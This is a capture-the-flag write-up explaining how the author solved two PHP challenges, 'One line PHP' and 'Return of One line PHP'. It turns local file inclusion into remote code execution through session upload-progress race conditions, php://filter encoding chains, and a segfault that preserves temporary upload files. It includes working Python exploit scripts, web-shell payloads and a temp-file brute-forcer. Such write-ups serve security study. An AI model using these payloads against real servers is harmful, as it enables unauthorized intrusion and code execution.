Detailed writeup of both one line php and Return of one line php
Hey, I am SpyD3r(@TarunkantG) and in this blog I will be discussing both challenge one line php and Return of one line php.
Both challenges were very interesting and got to learn alot of new things, so I decided to write a writeup on same, I have referred a lot of blogs to good catchup on these topic which I will be discussing in details.
Difference between these two challenge
There was a small difference between these two challenge, in the one line php it was given default php with version 7.2 and in Return of one line php, it was given default php with one change session.upload_progress.enabled = Off
and this change made old exploit not working or say for avoiding the old exploit and create a new one.
One line PHP
This challenge was made by @orange, you can find his writeup here.
As you can see source code, from this we can know that we only can include things which starts from @<php
and they said that this is default php, so we can’t includes remote files because allow_url_include = Off
in default. Now what??
The wrapper we can use is php://filter
, and session.upload_progress.enabled = On
so if this, we can control partial session file by making a post request by this parameter PHP_SESSION_UPLOAD_PROGRESS
. And will include this session file with LFI.
Because session.upload_progress.cleanup = On
by default, what it do is, it deletes the session file as soon as it’s work is done. We will bypass this using Race Condition
.
We can change the session file name by sending the cookie PHPSESSID=something
, by this the session file name will be sess_something
.
So Now we know the session file name, but what the content look like?
So lets create a session file and check the content, here is the code snippet for creating session file.1
2
3
4
5
6
7
8
9
10
11headers = {
'Cookie': 'PHPSESSID=tarunkant'
}
data = {
'PHP_SESSION_UPLOAD_PROGRESS': final_payload
}
while 1:
fp = open('/etc/passwd', 'rb')
r = requests.post(HOST, files={'f': fp}, data=data, headers=headers)
print r.text
fp.close()
It created the session file, lets look into it:
As you can see our final_payload got prefix upload_progress_
, but we wanted our file start from @<?php
, so we need to manipulate it. There are two ways to solve that challenge:
1st way (Orange way):
Base64 encode your payload 3 times then add prefix ZZ
or BB
or xx
and while including session file, base64 decode 3 times through php filter wrapper.
Why prefix ZZ
or else??
Base64 decoding 3 times upload_progress_ZZ
gives you empty string.
So it will return your payload.1
final_payload = 'ZZ' + payload
but this payload is 3 times base64-encoded of your payload. but remember every time you encode there should not be any =
or ==
. There is code snippet for generating the same:1
2
3
4
5
6
7
8
9while 1:
junk = ''.join(sample(string.ascii_letters, randint(8, 16)))
x = b64encode(payload + junk)
xx = b64encode(b64encode(payload + junk))
xxx = b64encode(b64encode(b64encode(payload + junk)))
if '=' not in x and '=' not in xx and '=' not in xxx:
payload=xxx
print payload
break
Now is the time for RCE through Race Condition and LFI.
Now we need to make requests to include session file through LFI. there is code snippet for the same:1
2
3
4
5
6
7
8
9filename = '/var/lib/php/sessions/sess_' + sess_name
filename = 'php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s' % filename
print filename
while 1:
url = '%s?orange=%s' % (HOST, filename)
r = requests.get(url, headers=headers)
c = r.content
if c and 'orange' not in c:
print [c]
Run both code for creating the session file and including the session file at same time. Here is the full exploit script.
Key points to solve:
- Control session file by
PHP_SESSION_UPLOAD_PROGRESS
. - Using PHP wrapper manipulate
upload_progress_
. - Get RCE through Race COndition and LFI.
2nd way:
This way is somewhat different from orange way, you can get writeup here.
I will be using his POC here.
For decoding:1
php://filter/convert.iconv.UTF8.IBM1154|convert.base64-encode|convert.iconv.UCS-2LE.UCS-2BE|string.rot13|convert.base64-decode|string.rot13|convert.base64-encode||convert.iconv.UCS-2LE.UCS-2BE|string.rot13|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|string.rot13|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.UCS-4LE.UCS-4BE|convert.base64-decode|string.strip_tags|convert.iconv.CP1025.UTF8/resource=data://,upload_progress_
For encoding:1
php://filter/convert.base64-encode|convert.iconv.UCS-4LE.UCS-4BE|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|string.rot13|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|string.rot13|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-decode|string.rot13|convert.base64-encode|string.rot13|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-decode|convert.iconv.IBM1154.UTF8/resource=data://,xyz
In this way we will encode our payload and using PHP_SESSION_UPLOAD_PROGRESS
we will send it to server, this will make session file and using LFI we will decode through php filter wrapper.
So we need to encode our payload, but what will be??1
$payload = ">" . iconv('UTF8','CP1025','@<?php eval($_GET[1]);?>//aaa');
Why do we need to pad with >
??
Because
Here you can see that after decoding upload_progress_
it starts with <
, so we will close this and will do string.strip_tags
, so that it will replace upload_progress_
with empty string.
Why CP1025 encoding??
At last after string.strip_tags
did his work, now decoding algo has convert.iconv.CP1025.UTF8
for decoding that.
So finally we got our shell payload.
Now we have to make POST request to1
?orange=php://filter/convert.iconv.UTF8.IBM1154|convert.base64-encode|convert.iconv.UCS-2LE.UCS-2BE|string.rot13|convert.base64-decode|string.rot13|convert.base64-encode||convert.iconv.UCS-2LE.UCS-2BE|string.rot13|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|string.rot13|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.UCS-4LE.UCS-4BE|convert.base64-decode|string.strip_tags|convert.iconv.CP1025.UTF8/resource=/var/lib/php/sessions/sess_tarunkant&1=?><?php system(ls);
with data PHP_SESSION_UPLOAD_PROGRESS
consisting our encoded payload.
Return of One line PHP
As I said earlier here in this challenge session.upload_progress.enabled = Off
. Now what ??
There was one bug submitted a year ago, which was segmentation fault in php7.0 which can lead RCE (If we get LFI ;) ). you can get writeup here.
POC
This challenge is similar to this bug, but the php version given here was 7.2.
So need to find segmentation fault in 7.2, So here is the POC
Here is the writeup how it got derived, here.
Now what after getting segmentation fault, How will you get RCE through LFI using same ??
So everyone know that, when we upload a file, server make a temp file having same content as uploaded file and after some time it gets deleted, so what if php gets hang in between? cool, then our file won’t get delete. Then we can make request to that temp file using LFI to get RCE. How will you do that now?
In while loop Make post request to1
?url=php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA
And send shell file1
2
3
4@
system($_GET['cmd']);
echo "spyd3r";
1 | while 1: |
Now we need to bruteforce for the temp file, Here is the full code.1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34import requests
import string
import threading
charset1 = string.digits + string.letters
charset2 = charset[::-1]
charset3 = string.letters + string.digits
host = "127.0.0.1"
port = 80
base_url = "http://%s:%d" % (host, port)
def bruteforce(prefix,charset):
for i in charset:
for j in charset:
for k in charset:
filename = prefix + i + j + k
url = "%s/Trash/trial15.php?file=/tmp/php%s" % (base_url, filename)
print url
response = requests.get(url)
if 'spyd3r' in response.content:
print "[+] Include success!"
return True
def main():
for i in xrange(0,2):
threading.Thread(target=bruteforce,args=('00'+str(i),charset1,)).start()
threading.Thread(target=bruteforce,args=('00'+str(i),charset2,)).start()
threading.Thread(target=bruteforce,args=('00'+str(i),charset3,)).start()
if __name__ == "__main__":
main()
Both challenge was very interesting, really enjoyed…
I hope you guys found it good article and worth to read.
Thanks,